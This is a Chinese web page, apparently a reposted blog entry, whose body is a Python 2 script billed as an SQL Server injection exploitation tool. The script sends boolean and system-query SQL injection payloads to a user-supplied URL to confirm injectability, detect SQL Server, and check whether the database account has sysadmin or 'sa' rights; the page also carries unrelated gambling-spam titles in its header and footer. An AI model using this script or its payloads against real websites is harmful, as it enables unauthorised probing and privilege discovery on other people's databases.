足球游戏_中国足彩网¥体育资讯$

Python编写数据库SA用户检测方案
来源:易贤网 阅读:633 次 日期:2014-08-20 14:44:21
温馨提示:易贤网小编为您整理了“Python编写数据库SA用户检测方案”,方便广大网友查阅!

无聊的时候,用Python写的一个小程序,用有注入点的链接,检测当前数据库用户是否为sa,没什么技术含量。

# Code by zhaoxiaobu Email: little.bu@hotmail.com

#-*- coding: UTF-8 -*-

from sys import exit

from urllib import urlopen

from string import join,strip

from re import search

def is_sqlable():

sql1="%20and%201=2"

sql2="%20and%201=1"

urlfile1=urlopen(url+sql1)

urlfile2=urlopen(url+sql2)

htmlcodes1=urlfile1.read()

htmlcodes2=urlfile2.read()

if not search(judge,htmlcodes1) and search(judge,htmlcodes2):

print "[信息]恭喜!这个URL是有注入漏洞的!n"

print "[信息]现在判断数据库是否是SQL Server,请耐心等候....."

is_SQLServer()

else:

print "[错误]你确定这个URL能用?换个别的试试吧!n"

def is_SQLServer():

sql = "%20and%20exists%20(select%20*%20from%20sysobjects)"

urlfile=urlopen(url+sql)

htmlcodes=urlfile.read()

if not search(judge,htmlcodes):

print "[错误]数据库好像不是SQL Server的!n"

else:

print "[信息]确认是SQL Server数据库!n"

print "[信息]开始检测当前数据库用户权限,请耐心等待......"

is_sysadmin()

def is_sysadmin():

sql = "%20and%201=(select%20IS_SRVROLEMEMBER('sysadmin'))"

urlfile = urlopen(url+sql)

htmlcodes = urlfile.read()

if not search(judge,htmlcodes):

print "[错误]当前数据库用户不具有sysadmin权限!n"

else:

print "[信息]当前数据库用户具有sysadmin权限!n"

print "[信息]检测当前用户是不是SA,请耐心等待......"

is_sa()

def is_sa():

sql = "%20and%20'sa'=(select%20System_user)";

urlfile = urlopen(url+sql)

htmlcodes = urlfile.read()

if not search(judge,htmlcodes):

print "[错误]当前数据库用户不是SA!n"

else:

print "[信息]当前数据库用户是SA!n"

print "n########################################################################n"

print " ^o^SQL Server注入利用工具^o^ "

print " Email: little.bu@hotmail.comn"

print "========================================================================";

url = raw_input('[信息]请输入一个可能有注入漏洞的链接!nURL:')

if url == '':

print "[错误]提供的URL必须具有 '.asp?xxx=' 这样的格式"

exit(1)

judge = raw_input("[信息]请提供一个判断字符串.n判断字符串:")

if judge == '':

print "[错误]判断字符串不能为空!"

exit(1)

is_sqlable()

中国足彩网信息请查看IT技术专栏

中国足彩网信息请查看网络编程
易贤网手机网站地址:Python编写数据库SA用户检测方案
由于各方面情况的不断调整与变化,易贤网提供的所有考试信息和咨询回复仅供参考,敬请考生以权威部门公布的正式信息和咨询为准!
关于我们 | 联系我们 | 人才招聘 | 网站声明 | 网站帮助 | 非正式的简要咨询 | 简要咨询须知 | 加入群交流 | 手机站点 | 投诉建议
工业和信息化部备案号:滇ICP备2023014141号-1 足球游戏_中国足彩网¥体育资讯$ 滇公网安备53010202001879号 人力资源服务许可证:(云)人服证字(2023)第0102001523号
云南网警备案专用图标
联系电话:0871-65317125(9:00—18:00) 获取招聘考试信息及咨询关注公众号:hfpxwx
咨询QQ:526150442(9:00—18:00)版权所有:易贤网
云南网警报警专用图标